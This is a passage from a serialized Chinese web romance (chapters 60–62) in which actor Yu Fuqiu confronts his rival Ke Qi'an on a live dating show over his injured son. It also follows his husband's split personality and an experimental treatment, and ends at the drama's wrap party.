他打开手机,转了另一个账号,里面全是余赋秋的点点滴滴,他微微歪头,以俯视的角度,拍了他和沉睡的余赋秋的照片。
月光下,他的眉眼温柔,眼中全然是余赋秋的身影。
他发在自己的微博小号里面。
里面记录的都是余赋秋各个角度的日常。
【啦啦啦啦啦啦啦阿联:失联半年的扫地哥出现了?!】
【离子:天哪,这是什么角度的球球?月下美人,还是安然睡着的状态,啊啊啊啊啊啊,好漂亮,保存!】
【高举长秋大齐:真不愧是扫地哥啊,站姐永远拍不到的角度。】
【红茶:新人,为什么叫扫地哥?】
【长长长:嘿嘿,这就不知道了吧?在某高奢活动的内场,站姐都没有票,偏偏就扫地哥拍到了和内场放出来一样的照片,而且还是球球单独看镜头,嫣然一笑,美死我了。】
【按月在中原:肯定是长庭知小号啊。】
【查呢个:长庭知不是塌了吗?出轨柯祈安。】
【边疆:出出出,出你大麻袋,你亲眼看他两的片了?还是你躺在床底下,看他两doi了?造谣违法。】
这个时候,扫地哥又重新发了个微博。
【长秋·0812x1225:静等花开。】
下面的人纷纷猜测什么意思。
【光年之外:这是……他们的感情一如既往的好,外界都是传谣?】
然后下一秒,作者赞过。
瞬间,cp圈炸了。
纷纷转发他的微博。
长庭知把手机关掉了,软件隐藏了起来。
他俯下身,在沉睡的余赋秋额头上落下一吻。
“晚安,我的球球。”
“明天见。”
……
昨晚的一切仿佛都是梦境。
余赋秋从睡梦中挣扎着醒来,“庭知——!”
空荡的房间里只有他一个人,余赋秋以为又是自己的幻想时候。
床边还带着余温的早餐却吸引住了余赋秋的目光。
是他最喜欢吃的蟹黄包。
他眼眶泛红,酸涩地吸了吸鼻子,久久地拿着那个包子,轻轻地吃了一口。
嗯,是他们经常吃的那个店。
……
而在这个时候,褚宝梨忽然给他打来了电话:“赋秋!快来XX公园!”
余赋秋听到消息的时候,手机掉落在地上,砸出密密麻麻的的碎屏。
……
《我们恋爱吧》第二期开播。
采取直播的形式。
他们后面的住所被随即的打断,而住所的地方则是由每一个人提供的。
柯祈安跟在长庭知的身后,看着周围老化的房子,美眸微微蹙起,他捂着嘴唇,止不住地咳嗽,他拉了拉长庭知的衣袖:“阿知,这里……不是被划分为老城区吗?为什么来这里?”
他们停在了一个房子的面前,这个房子的外观和周围格格不入,他像是刷新了一番,崭新的铁门矗立在外面。
长庭知揉了揉他的脑袋,笑着对他说:“这是一个对我来说很具有意义的地方,我想带你过来看看。”
“里面还有一个小花园,你会喜欢的。”
庭院里的树木高大葱茏,透着一股静谧而温馨的生活气息,然而,这个气息在柯祈安的眼中,却只代表着‘过时’和‘陈旧’。
“阿知,这是……你以前住的地方?”
他的声音刻意放的温柔。
长庭知嗯了一下,目光转在锁上的门,这里似乎还维持着余赋秋离开的习惯,总为可能回家的人留门。
他从旁边的小花坛下面拿了一个要是,打开了门。
柯祈安跟在后面,步伐有些迟疑,庭院里余赋秋精心打理过的花草虽然因无人照料略显凌乱,但依然能看出昔日的繁茂与生机。
柯祈安的目光掠过那些在他看来“杂乱无章”的植物,尤其是角落里几丛开得正盛、带着野趣的多年生花卉时,他忽然掩住口鼻,眉头拧得更紧,声音带上了明显的不适:“阿知,这些花……味道好冲,我好像有点过敏,鼻子不太舒服。”
他娇气地往长庭知身边靠了靠,仿佛那些无辜的花朵正在散发毒气。
长庭知脚步顿了顿,瞥了一眼那些花,没说什么,只是示意他跟上。
推开厚重的实木大门,室内熟悉的气息扑面而来——是阳光晒过的棉布、旧书页、还有余赋秋惯用的那款清淡木质调香薰残留的、几乎难以察觉的尾调。
空气里浮动着细微的尘埃,在从窗户透进来的光束中起舞。
柯祈安踏入客厅的瞬间,整个人像是踩进了什么不洁的区域,脸色肉眼可见地难看了起来。
沙发上随意搭着的一条手工编织的米色薄毯,角落绣着一个小小的“秋”字。
墙上挂着几幅尺寸不一的画作和照片,有风景写生,更多的是抓拍的生活瞬间——长庭知看书时蹙眉的侧脸、春春小时候咧嘴大笑糊了一脸蛋糕、余赋秋自己在厨房回头笑的瞬间……每一个画面都透着浓浓的、属于“家”的亲密与暖意。
甚至窗台上,还有几个造型拙朴可爱的小陶盆,里面是从后院移栽的多肉,虽然有些干瘪,但还顽强活着。
“这里……” 柯祈安的声音有些发紧,他环顾四周,脸上再也维持不住惯常的温柔笑意,取而代之的是一种混合着嫌弃、不适、以及某种更深隐晦嫉妒的复杂表情。
他像是无法忍受般,轻轻拉了拉长庭知的衣袖,声音放得更低,却带着不容忽视的委屈和控诉:“怎么……到处都是他的东西啊?”
“感觉空气都不流通了,好闷。” 他用手在鼻尖前扇了扇。
“这种风格也太……老旧了,看着就让人心情压抑。”
他的目光掠过那些充满回忆的照片和物品,眼神里没有丝毫欣赏。
“阿知,你以前……真的能一直待在这么……这么充满别人气息的地方吗?”
他抬起眼,看向长庭知,眼圈微微泛红,仿佛只是站在这里,就已经让他承受了巨大的委屈和不适,“我光是待一会儿,就觉得浑身不舒服……”
这栋房子,从里到外,从格局到物品,乃至空气中残留的气息,都充满了余赋秋的烙印,这让他柯祈安感到极其不适,无法接受。
他要的不是参观,而是清理。他要将这里所有属于余赋秋的痕迹,连根拔起,涂抹干净,按照他的喜好和品味,重新打造成一个崭新的、只属于他和长庭知的空间。
第60章 第60章[VIP]
“阿知?”柯祈安拉了拉长庭知的衣袖, 面露疑惑:“你怎么一直在看手机啊,导演发了什么新的消息吗?”
他说着,就要踮脚去看长庭知的手机, 长庭知下意识地点了黑屏, “没什么。”
“抱歉,小安,你前面说什么?”长庭知前面的心神都在手机上。
柯祈安噎了一下, “我说……这里的东西,让我很不舒服。”
长庭知看着柯祈安微微发白的脸色和泛红的眼眶,又换股了一下这间充满了过往气息的屋子, 眼底毫无波动。
他伸出手, 安抚地拍了拍柯祈安的背:“不喜欢,就改掉。”
“这些东西, 都清出去。”
“毕竟, 现在是你在我身边。”
轻描淡写的两句话,仿佛是宣判了死刑。
柯祈安闻言,吸了吸鼻子,脸上重新患上了如释重负、依赖的表情,轻轻地靠向长庭知:“嗯……都听你的, 我只是希望, 这里可以变成一个能让我们真正放松, 属于我们的新开始。”
直播依旧在继续,上面飘动的弹幕无不在说【啊啊啊,太甜了。】
【等等, 这个房子不是长庭知从小到大的屋子吗?这是什么意思?】
【里面都是长庭知和余赋秋的点点滴滴诶, 不是,怎么还实时打马赛克的?那是啥?】
【哇, 我看到了!春春太可爱了哈哈哈,不过露出的房子细节好小,只有客厅的一部分可以看。】
【柯祈安真会变脸……真不愧是小三哥呀。】
直播画面里,长庭知和柯祈安正在整理东西,同时配合节目组完成一项默契挑战,柯祈安笑容温婉,长庭知表情不多,但两个人互动间透着一种无形的亲密。
就在气氛看似温馨融洽的时候——
一道瘦削、苍白的身影,猛地推开了门,从镜头外冲了进来。
是余赋秋。
他跑的急匆匆,头发凌乱,呼吸急促,身上的衣服都带着冬天的寒冷。
脸上是还未愈合的伤口和疲倦,那双眼睛如同黑洞般幽深,似乎下一秒就可以把人吸入进去。
在所有人反应过来之前,余赋秋已经扬起手,用尽全身的力气,朝着柯祈安那张脸打过去——
“啪——!”
一记极其响亮清脆的耳光,结结实实地扇在了柯祈安的脸颊上。
柯祈安猝不及防,惊叫一声,踉跄着差点摔倒,脸上浮现出清晰的红掌印,他捂着脸,眼睛瞪大,看着前面的余赋秋。
直播镜头疯狂推进,将这一幕清晰地捕捉。
弹幕瞬间炸锅。
【woc!什么情况?】
【余赋秋?他怎么来了,还打人?】
【天哪,他的脸上怎么有伤痕?像是火灾留下的。】
【打得好(?bushi)虽然但是,怎么回事?】
【安安被打了?!?我的安安!】
余赋秋胸膛起伏,声音嘶哑:“柯祈安。”
这是他第一次,对着镜头,说出了柯祈安的名字。
“之前的车祸,是你找人干的吧。”
“你为什么就是不肯放过我的孩子。”
“他才七岁,你害他一次不够,现在又找人,毁了他的腿,这就是你想要的目的?”
【?车祸?】
【上次长春春被车撞?居然是柯祈安找人吗?】
【我看过现场的监控,很明显,那辆车是想去撞余赋秋,那辆车原本开的直直的,像是被鬼上身了一样,下一秒立刻打滑,拐弯向余赋秋的方向去了。】
【七岁,车祸,再次?】
【好大的信息量,我缓缓。】
【如果是真的,柯祈安要坐牢吧,难道柯家要保他?】
【不可能吧,安安去做这种事情?余赋秋是不是疯了?】
【可是看余赋秋这个样子……我追他的剧这么多年,第一次看他私底下露出这个模样。】
现场的工作人员也傻了,一时之间全都愣在了原地。
柯祈安捂着脸,瞳孔皱缩。
不可能,他哥哥答应他,已经把那个人处理了,绝对不会留下把柄。
余赋秋是怎么知道的?
不,不不不不。
他是这个世界的主角,这个世界都是围绕他旋转的,他是气运之子,就算他给自己下了致死量的花生酱,但到了医院,医生都说在这种情况下,吃这么多还能救过来,是奇迹。
连世界都偏爱他。
区区一个余赋秋算什么。
本来这个孩子就不应该存在。
他已经把剧情提前了。
长庭知唯一的孩子只能是他肚子里出,余赋秋生的这个杂种,必须死!
柯祈安像是受到了天大的委屈和惊吓,下意识躲在长庭知的身后,抓着长庭知的衣袖,露出半张带着红印的脸。
他看着余赋秋,声音哽咽:“余老师……你在说什么呀,我,我根本听不懂。”
“我,我都不认识您的孩子,我为什么要去害一个无辜的孩子呢?”
“这会遭天谴的。”
他抽噎了一下鼻子,卷起衣袖,露出身上还未褪的红疹子:“我知道,您是不是因为之前我吃了您的饭,然后过敏性休克进了医院,一直对我有误解,觉得是我抢走了阿知。”他眼泪掉的更凶了:“我没有,我只是把阿知当哥哥,那次我也差点死了,呜呜,好疼的。”
“现在……余老师您不仅让我想起医院的事情,还编造出这么可怕的事情来污蔑我,余老师,我知道孩子出事了您很难过,可您也不能这么污蔑我呀……”
【对啊,安安都不认识长春春,动机呢?】
【余赋秋像是疯了……】
【失去孩子可能打击太大出现了幻觉了?】
【可是他说的好具体……让我阴谋论一下,长春春是长庭知唯一的孩子,而柯祈安又不乐意给人当后爸,他想要自己生下长庭知的孩子,然后让这个孩子悄无声息的死掉。】
【?这是违法的你不知道吗?七岁的孩子啊,不是胎儿。】
【柯祈安的身份你不知道?他们家瓜也很多,你自己去搜啊,那种家庭出来的人能善良到哪里去?信柯祈安善良的这辈子有了,路边依托。】
长庭知眸色一暗,想到短信上的内容,他抿了抿唇。
他走到余赋秋的面前,带着骇人的压迫感,直接隔在了余赋秋和柯祈安之间。
然后,在无数直播镜头和全场的注视下——
他一巴掌扇在了余赋秋的脸上。
余赋秋的耳朵嗡嗡作响,眼前一黑,踉跄着后退了几步,缓缓地回过头看着长庭知。
“余赋秋,你闹够了没有。”
“小安被送去医院的时候,我在他的身边守候着。”
“你非得在这么多人面前,跟个疯狗在这里乱咬人?”
“离开这里。”
“别在这里发疯。”
就在这个时候,直播被切断了。
余赋秋瞪大双眼,“你……打我?”
“长庭知,你打我?”
他摸了摸自己的脸,指着柯祈安,“为了柯祈安,你为了他打我?”
“你将我丢在雪山小屋中,那里发生了火灾,你陪着柯祈安去医院,我说他的花生根本不是我下的,你不信,你不信。”
“如果不是沈昭铭,我已经死在了小屋里面,你还护着他这个凶手?”
“春春的腿变成如今这样,你以为是谁的杰作?”
“那是你的亲生孩子啊,长庭知。”
长庭知却不为所动,他背对着余赋秋,将哭泣的柯祈安温柔且坚定地搂进怀里,低声安慰着。
余赋秋离他不远,用他们两个人才能听到的声音,声音甚至带上了一丝哀求。
“求你了……把他还给我吧……”
被长庭知抱在怀里的柯祈安还在抹着眼泪,却感知长庭知的身影一僵,他不明所以地抬起脑袋。
……
余赋秋浑身疲倦地来到医院,被送入医院的长春春还在手术中。
医生的话却在他的耳边回荡:“……病人的腿被反复的碾压,先前的伤还未完全好,现在的骨头几乎都碾压成了粉末……以后怕是……要站不起来的,您做好准备。”
余赋秋忘记自己怎么接过那份厚厚的,写满各种风险和后果的同意书,手指冰冷僵硬,几乎握不住笔,视野里是模糊晃动的文字。
他浑浑噩噩地签了字。
呆呆地坐在了手术室的面前。
在手术结束后,医生走出来,对余赋秋说:““手术……算是暂时保住了腿部的基本形态,没有截肢。但是……”
医生顿了顿,似乎不忍说出接下来的话,“后续的治疗会非常漫长,而且极其痛苦。需要多次清创、植骨、神经修复手术,伴随着高昂的费用和难以预测的感染风险……即使一切顺利,最好的结果,也可能离不开轮椅和终身复健,且会伴随长期的神经性疼痛。”
“余先生,您……真的要,做好长期的心理准备。”
余赋秋的嘴唇动了动,想说什么,却发不出任何声音。
他只是沉默着点了点头。
很快,小小的春春被推了出来。
他全身插满了管子,小小的脸上毫无血色,裹着厚厚的纱布,安静地沉睡着,仿佛只是累了。
余赋秋看着那道小小的身子被送去了病房,他却进不去。
他只能坐在门口的椅子上。
他佝偻着身子,双手捂住了脸,没有发出任何的声音,地面上的影子却在颤抖。
忽然,一道黑影,几乎是跌撞着,从走廊的阴影里冲了出来。
是长庭知。
他头发凌乱,眼睛赤红,身上昂贵的西装皱巴巴的,领带歪斜,像是跋涉了千山万水,来到了这里。
“球球……?”
他几乎是嘶哑着吼叫出来,几步扑到余赋秋的面前,动作太大,整个人跪在了地面上,“春春……春春怎么样了?”
余赋秋缓缓抬起眼,那双空洞的眼睛里面,倒映出长庭知此刻狼狈的面容,他没有回答,只是安静地看着长庭知。
他忽然举起了手,狠狠地打在长庭知的脸上,将他踉跄着打向一边。
他没有说话,手无力地垂落下来。
“我……我都知道了,我,刚醒过来,我看到了新闻,也听说了,那个畜生说的话……”
长庭知语无伦次,巨大的痛苦和悔恨几乎要将他吞噬,“是我,是我没有保护好你们,是我让那个怪物,纵容了柯祈安,是我害了春春,是我……”
泪水汹涌而出,大颗大颗砸在冰冷的地面上,他伸出手,想要去触碰余赋秋,却对上他双眼的时候,手指蜷缩了起来,颤抖着不敢上前。
“对不起……对不起,是我的错,你打我,骂我也好,杀了我也好……”
他发出压抑的如同野兽般的悲鸣。
然后他视线停留在,余赋秋红肿未消,还带着隐约指痕的脸颊,他心如刀绞。
“那个畜生,他怎么敢打你的……”
他一边落泪,一边小心翼翼地用指腹摩梭着余赋秋脸上的伤痕,仿佛想要用自己的温度将那些伤痛抹平,“对不起,对不起,让你受委屈了,让你一个人承受这些。”
余赋秋依旧低着头,没有说话,像是没有灵魂的玩偶。
“球球,你看看我……你看看我……”他泪流满面,猛地抓着余赋秋的手,将它贴在自己剧烈起伏、痛到痉挛的胸口,那里心脏狂跳,像是要挣脱这具罪恶的躯壳。
“这里……这里每一寸都在为你和春春疼,疼的我要疯了。”他呜咽道:“我恨我自己,我恨这具身体,我更恨……我为什么只能在晚上醒来,为什么不能一直保护你们。”
他跪在地上,仰视着余赋秋:“我知道我没资格求你原谅,我连我自己都无法原谅。”
“但是……但是……”
他颤抖着身躯,神色苍白。
“但是球球,你别离开我。”
“求求你,你不能离开我,我求求你了……”
他像是一个虔诚也是最绝望的信徒,对着他唯一的神明祈求:“我知道我错了,错的不可饶恕,你要怎么惩罚我都可以,打我,骂我都可以,但是……你别走。”
“你不能不要我……”
他呜咽着。
“春春还能救的,只要我预测的正确,就是能救的,我们一起努力,陪在春春的身边好不好?”
“给我一次机会,哪怕用我的命去换,去换回一切,”他语无伦次:“我会想到办法,去杀死他的,你等等我,等等我,好不好?”
“你不能放弃我……如果连你都放弃我了,我真的就不存在了……”
泪水簌簌落下。
他把头埋在余赋秋的双腿之间,身后的病房里躺着他生死未卜的孩子,身前的爱人像是被抽空了灵魂。
余赋秋静静地看着眼前的男人。
明明白天还是一巴掌打在他脸上的人,可现在却卑微跪在他的面前。
因为现在站在他面前的——
才是他的爱人。
他将自己的手,从长庭知紧握的、被汗染湿颤抖的掌心,一点点抽了出来。
然后在那双惊恐绝望的眼睛中,他看见自己慢慢弯腰,抱住了长庭知。
在这个暴风雨中,抱住了自己唯一的避风港。
千疮百孔的心在此刻又重新跳动了起来。
只要有晚上的长庭知在,只要有他的爱人在。
他想,他还能坚持。
哪怕只有一秒。
作者有话说:《 》
60-70
第61章 第61章[VIP]
“这个皮毛很暖和哦。”
余赋秋收到了柯祈安的消息。
他眉头蹙紧, 明明都显示免打扰了,为什么还能接受到他的消息?
他才发现,柯祈安是给他发了一个匿名的短信, 和先前投射在他手机上的酒店视频如出一辙。
他想要关掉, 却怎么也关不掉,只能等待视频放完。
他神色一暗,将手机换了个角度, 放置在清晰的摄像头下面。
这个皮毛看着很眼熟……
余赋秋慢慢地眯起了眼睛,忽然在看清上面花纹的时候,整个人愣在了原地。
不是别的——
是五周年, 长庭知送给他的那只布偶猫。
他站在房子里面, 整个人如坠冰窖,连呼吸都带着冰锥一般的疼痛。
然后镜头慢慢地转移了过去——
镜头的后面, 正是露出了长庭知的身影。
那道身影正在挖着院子中的花。
“真不知道你什么品味, 这种花真的很难闻。”
柯祈安忽然凑近了镜头:“我只是说了一句我对这个花过敏,你猜,他怎么样?”
“他下一秒就把院子里的花和树木全都移开了呢,本来是想一把火烧掉的,可是谁叫我善良呢?”
“我说就拔掉吧, 然后捐给漂亮的公园, 至少, 你以后可以去公园看看你的花了。”
他低垂着脑袋,脖子上面似乎有什么东西掉了出来。
余赋秋下意识的看往他脖子上的挂坠,他脑袋在这一刻轰然发懵。
“你是不是想问这个?”
柯祈安仿佛早就料到了他的态度, 对上他的眼睛, 微微笑了笑,那双神似他的眉眼, 仿佛是余赋秋在和自己对话。
柯祈安把那个平安袋拿在手上,转了两圈。
那是余赋秋给长庭知的。
那时候捡回来的长庭知体弱多病,经常发烧感冒,余赋秋最常去的出了工作的地方以外就是在医院了。
他听同片场的演员说,可能是有某种东西一直在挥之不去,想要吞掉长庭知的魂魄,这时候,就需要亲近之人最重要的东西放在身边,那东西知道这个魂魄是有主的,就不会在考虑了。
余赋秋那时候身无分文,赚来的钱都给长庭知去看医生了。
他最重要的东西就是戴在脖子上的平安袋——
那是他的妈妈在刚生下他的时候,对他还有残留的爱意,每晚点了一盏昏黄的蜡烛,偷偷的,一针一线的给他缝了这个平安戴,戴在他的脖子上。
他一直没有摘下来过。
余赋秋抿着唇,把这个陪着自己数十年的平安袋戴在了长庭知的身上,奇迹般的,长庭知的一直的感冒好了很多。
从那时候起,余赋秋就告诉长庭知,这个可以保护他的平安和健康,不要摘下来。
但他没想到,长庭知把他给了柯祈安。
“他一身高定,脖子上戴着这么破旧的二手货,”柯祈安面露嫌恶,将那个平安袋用力的揉戳了起来,扔在底下,被尘土掩埋起来,“你就不能送点高端货吗?”
“这种东西卖也卖不了几个钱,你知道长庭知怎么说吗?‘脸颊的自我感动。’”
柯祈安眉目弯弯,“现在看来,还真是。”
“好了,直播要开始咯,谢谢你一直关注我的动态噢。”
“视奸哥。”
视频在这里戛然而止,余赋秋僵硬在那里。
他颤颤巍巍地打开了手机,拨打出了一个电话:“成双……你那个方案,真的可行吗?”
左成双沉吟了下,“你明天的时候来我办公室,我带你看看。”
“对了……春春的病情,你有没有把握?”
左成双擅长的方向不是这个,但是他师出名门,认识很多的各个领域的医生,对于余赋秋来说,帮助很大。
“……你想要听真话还是假话?”左成双轻轻叹了口气,感受着那头的沉默,“我只能说……和以前完全站起来,很大,只能尽力地减轻他的痛苦,和让他复建,索性的是,他才七岁,骨头的可塑性很强。”
余赋秋的心脏像是被一只大手紧紧捏着,即便如此,也是出了比他想象中还要好的结果,“……谢谢你,成双。”
他挂了电话,看着窗外枯头的枝叶,寒风萧瑟,路灯的光裹着飘落的枯叶,飘向看不到边际的远方。
余赋秋没有开灯,一个人坐在沙发上,裹着长庭知前几日给他带的毛毯,他把自己蜷缩在里面,鼻尖萦绕着长庭知的气息,他深深地吸了一口,仿佛长庭知还在他的身边,他把头埋在毛毯里面,深深地吐出了一口气。
凄惨的月光把他的身影拉的格外长,与缄默并行。
……
余赋秋在长春春的病房外坐了很久,他隔着玻璃。
神情恍惚,好似又回到了第一次长春春被车撞的时刻,他也是这样,坐在外面,看着里面瘦小的身影,身上插满了管子,呼吸着,不同的是,这次他的双腿治疗比上次还要严重。
“赋秋,跟我来吧。”
左成双的手出现在他的面前,他下意识的就把放在他的手中,他起身,没站稳,顺着惯性,一不留神跌入了左成双的怀中。
“我找了个营养师给你制定了营养餐,你得多吃点。”左成双垂眸,看着怀中纤细到仿佛风一吹就会倒下的身影。
“……不用。”余赋秋摇了摇头,他眼底的乌青用多少粉底也遮不住,但他尽量想要自己的气色好一些,看起来精神一些,“我吃不下。”
这段时间,他确实吃不下,吃了吐,吐了吃。
闻到油腻的东西就想吐。
每晚只有在长庭知的面前,才能勉强地吃下一两口,然后在星月片场的时候,遇到沈昭铭,沈昭铭会坐在他的身边,很自然地摆出饭盒,眼睛亮亮的,里面带着无尽的笑意,似乎是一只想要夸奖的狗狗。
余赋秋面对这样的善意,根本没办法拒绝,既便身体都在叫嚣着呕吐,但是他还是尽力地逼迫自己吃了下去。
也是这样,他也只是勉强地维持住了自己生存下去的能量。
“……就当不是为了……”他唇瓣抿了抿,“也当是为了春春,你还要看他一起复健,看他一起长大是不是?”
“庭知的情况也在好转,你也要等他的回来,然后一起处置那个人,不是吗?”
他轻声道。
怀中的身躯沉默了一会儿,才小声说道:“……好,带我去吧。”
左成双的心瞬间软了下来,他想要去揉一揉余赋秋的头发,但是还是忍住了,他只是虚虚地牵着余赋秋的手,走在前头。
左成双的身形和长庭知很像。
长庭知也会像现在这样,牵着他的手,走在前头,为他抵挡去全部的风雪和困境。
余赋秋的喉咙滚动了两下。
“到了。”
与长庭知完全不同的声音将他拉回了现实。
他们走入了一个房间,但在房间的最内侧,有一扇透明的玻璃,在玻璃的另外一头,有一个椅子,而长庭知此刻,正坐在椅子上,他的双手双脚被束缚带给束缚着。
“准备好接受第五次治疗了吗,长先生。”一名医生拿着针头,拍了拍,粗长的银针在灯光下发着尖锐寒冷的光。
“……嗯。”长庭知扬起脑袋,露出脖子。
“这是……在干什么?”
余赋秋坐在房间的这头,看着长庭知的治疗,瞳孔皱缩。
他太知道这个椅子了,他被关在精神病院的时候,每次不听话要接受治疗的时候,他都被会强迫地绑在这个椅子上,然后电流爬过他的全身,让他安静下来,这时候再给他打针,醒来他就会在那间冰冷的地下室了。
“……我对他提起了治疗的方案,他说要彻底抹除晚上出现的人格。”左成双看着安静下来的长庭知,“我答应了,但其实——”
他指了指对面,通过最新的技术,长庭知的脑电波正以肉眼可见的速度在攀升,说明大脑极度的活跃。
“我延长了庭知出现的视线,同时也没有让长总很快的察觉到。”
“所以如果继续下去的话,庭知出现的时间会越来越长,这个药物就是可以让他清晰的。”他指了指针筒里面透明的药水。
余赋秋:“有副作用吗?”
左成双摇了摇头:“这个技术太过于先进了,不是那么成熟,副作用尚且不清楚——”
“那你为什么敢给他用?!”余赋秋起身,瞪大眼睛,质问着左成双。
左成双叹了口气,拿出一个视频。
视频中的长庭知红着眼眶,疯了一样祈求左成双,左成双说了很多次,这个是尚未成熟的技术,什么副作用都不清楚,目前只在部分自愿者身上使用过,对于多重人格的患者来说,短期效果确实显著,也确实是消除了一些人格,但长期作用尚不清楚,它目前出世的时间太过于短暂了。
可是长庭知哪管得了这么多,他不能完全确定自己每一晚都可以出现在余赋秋的身边,他也不知道他自己到底还能出现多久。
他想在有限的时间内陪伴着余赋秋,延长和他度过的一切时间。
“这是庭知自己的选择,所以……”左成双轻声道:“他说他知道你知道他这个选择之后的反应,他说,这是他自己的选择,请你一定要尊重他。”
余赋秋的声音渐渐小了,他矗立在原地。
目光呆滞着看着在小房间的长庭知。
心脏似乎被一只手紧紧捏着,喘不上气来。
门‘咔哒’一声,开了。
左成双轻轻推了一把穿好隔离衣的余赋秋,“去吧,他上次醒来的时间是十五分钟,这次或许可以在长一些。”
余赋秋迟疑着脚步,慢慢地往前走,直到停在了那个垂着头的身影面前,慢慢地蹲下了身子。
随着他的靠近,椅子上的身影挪动了一下。
长庭知慢慢地睁开了眼,“……球球?”
一看到余赋秋出现在这里,他就知道了,左成双还是把一切告诉了余赋秋。
因为穿着隔离衣,余赋秋不能触碰长庭知,他只能蹲在那里,双眼含泪,看着面前疲倦的爱人。
“……你这个笨蛋。”
“明明你不需要吃这份苦……”
他长叹一声。
长庭知摇了摇头,忽然想起什么,苍白着脸和他解释道:“院,院子里的花,我没有挪!还有,还有——”
他还想说什么,但余赋秋却只是摇了摇头。
“足够了,这就足够了。”
“春春的情况也稳定了很多,周围的人都在细心的照顾他,还有我把家里的植物也照顾的很好,尤其是玄关处的多肉,还有床头的凤尾花,是你最喜欢的颜色,你晚上回来的时候,可以看到他盛开……”
“只是上次咱们养的那一株昙花盛开了,我录了视频,只是手机在外面,带不进来,没关系,你回来的时候我给你看,它真的很漂亮,只是很快就枯萎了,有点点沮丧。”
“我接了星月的戏,片场的大家都很好,盒饭也很好吃,你不知道上次有个天鹅从湖的那头游了过来,想要拿我手上的东西吃呢,但我很快吃完了,它就找其他目标,结果他们都不给,气的天鹅嗝着嗓子在那里叫,然后追着整个片场跑。”
“谭玲这小丫头最近不知道是不是谈恋爱了,早出晚归的,问我代言的牌子,她可以穿哪个出去给我长脸。”
“还有褚楚,我给她介绍了一个新人,现在她正带新人呢,每天忙的呀,然后和我发消息诉苦,说想我了,说还是想念和我一起并肩作战的日子。”
余赋秋絮絮叨叨说了很多,长庭知静静地垂着眼,看着他。
在余赋秋还想再说什么的时候,被长庭知打断了。
他说:“那你呢?”
余赋秋忽然卡了壳。
他?
“我……我很好啊,”他拍了拍自己的衣服:“吃嘛嘛香,大家都很照顾我,我现在作息生活很规律。”
“你骗人。”
长庭知轻声道:“你骗不了我,球球。”
“你或许可以骗其他人,可是你骗不了我。”
余赋秋猛地顿住了,眼眶逐渐泛红了。
他吸了吸鼻子,没说话。
长庭知被束缚在椅子上,无法动弹,没有办法帮他擦拭去泪水。
“所以我在努力,球球。”
“你离开了我,却过成这样,你说,我怎么能放心呢?”
“你怪我不顾副作用就接受这个药物,但我想见你。”他的声音温柔而绵长:“我不知道我还能出现多久,我也不知道我会不会每晚都出现在你的身边。”
“可我想在我的每一晚,都陪伴在你的身边,去填满我所空缺的一切时间。”
“我一定一定会出现的,一定一定会把他抹杀掉的,所以你看到‘他’的一切,都不是真的。”
“相信我,好吗?”
爱人温柔的棉语却带着无穷无尽的力量。
在他们的世界里面,被毁坏的只有故事,无数的陨石流星在浩瀚的宇宙划过。
这一刻,祷告实现的声音在余赋秋的耳边回荡。
这一刻,他在漫天的黑夜中,仰头,第一次期待黎明的到来。
期待,太阳的升起。
第62章 第62章[VIP]
《星月》剧组最后一场戏, 随着导演喊‘咔’,意味着这部经历波折的电视剧,终于迎来了杀青。
夜色笼罩下的影视城一角, 却比往日更加灯火通明, 人声鼎沸。
剧组包下了一整层酒店,举行杀青宴,空气里弥漫着各种食物的想起, 混杂着解脱的欢笑和离别的感慨。
余赋秋穿着一身简单的深色衬衫,开足了空调,身形比进组时候的更加清瘦单薄, 在喧嚣的人群中显得格外安静, 灯光打在他的脸上,勾勒出精致却闭卷的轮廓, 眼底有淡淡的青黑, 但嘴角却微微上扬着。
今天,是他作为陈星月的最后一天,他早就写好了自己的感悟,定时发作了。
很多的演员,凑过来, 对着他敬酒, 说着:“余老师辛苦了!”“合作愉快!”“期待下次合作呀余老师!”
余赋秋礼貌地一一应着, 端起眼前没怎么动的果汁。
不知道为什么,他最近的胃口实在是太差了,昏昏欲睡, 甚至吃什么吐什么。
连左成双给他制定的营养餐, 他也是吃不下太多。
就在这个时候,一个喝得有点上头的副导演端着满杯的啤酒, 大笑着挤过来:“赋秋!恭喜呀!今天杀青宴,必须喝一个!”他喝的有些上头了,看着余赋秋手中的果汁,笑着:“果汁可不行啊。”
余赋秋的眉头及不可察地蹙了一下,身体微微后仰,正想着婉拒。
一只骨节分明、沉稳有力的手,从旁边伸了过来,不容置疑地挡开了酒杯。
是沈昭铭。
他走到了余赋秋的身侧,挡在他的面前,形成了一道无声的屏障,他脸上带着疏离地笑意,“王导,心意领了,赋秋他最近身体不太好,需要静养,不能沾酒。”
他从副导演手里拿过那杯酒,“这杯,我替他喝了,感谢您在这段时间在剧组的照顾。”
他仰头一口闷了,对着副导演显示了一下,杯子空了,“下次有机会再合作。”
副导演愣了一下,被酒精麻痹的神经才慢慢地回神过来,“啊,是是是,身体要紧!沈总说的是,赋秋,下次有机会再合作啊。”
他转过身,小声嘀咕。
怎么感觉沈昭铭才是余赋秋的正牌丈夫呢?那一个护妻的样子和以前的长庭知可真像。
周围一些注意到这一幕的人,眼神交换间,多了几分了然,沈昭铭在剧组期间对余赋秋若有若无的维护,以及那次航班的亲密照风波,早就成了圈内私下流传的谈资。
星月开机的时间不长也不短,接近半年的时间。
长庭知却一次也没有来过。
“昭铭?”余赋秋面露惊喜:“小秦和我说你不来了。”
沈昭铭转身,他的怀中还抱着一束鲜花,“你的杀青宴,我怎么能不来呢?”
这是他第一部真正意义上接触到余赋秋生活点点滴滴的番剧,对他的意义重大。
“听说你喜欢茉莉花,可这个时期不是它开放的时期所以我选了山茶花,衬你。”
余赋秋笑着收下了,“谢谢昭铭,我很喜欢,会把他放在床头好好养着的。”
而此刻,在酒店的二楼。
“长总,这次的项目,合作愉快。”
长庭知抬眸,对着面前鞠躬着和他握手的人,轻笑了下,回抱握手:“一定会。”
“哎呀——?那位是,您的妻子吧,他也来了这里,需要我去打招呼吗?”
眼前的合作伙伴冲着楼下,透过透明的落地窗,可以清晰地看到余赋秋站在楼下,怀中抱着一束巨大的花束,他仰头,眼睛亮亮的,折射出酒店闪亮的白炽灯。
眼中似有依赖,这个眼神长庭知再熟悉不过了,但此刻,他眼睛看的人不是他,而是其他人。
在他的视角看,余赋秋和沈昭铭很亲昵地拥抱在一起。
长庭知的面前摆着一杯几乎没有怎么动的酒,修长的手指,在桌子上无意识地敲击着,他的目光,穿过人群的缝隙,锁定在他们交互的那只手上。
他的脸上没有表情,只有一片深沉的、化不开的晦暗,周遭庆祝的热闹仿佛与他隔着一层厚厚的玻璃。
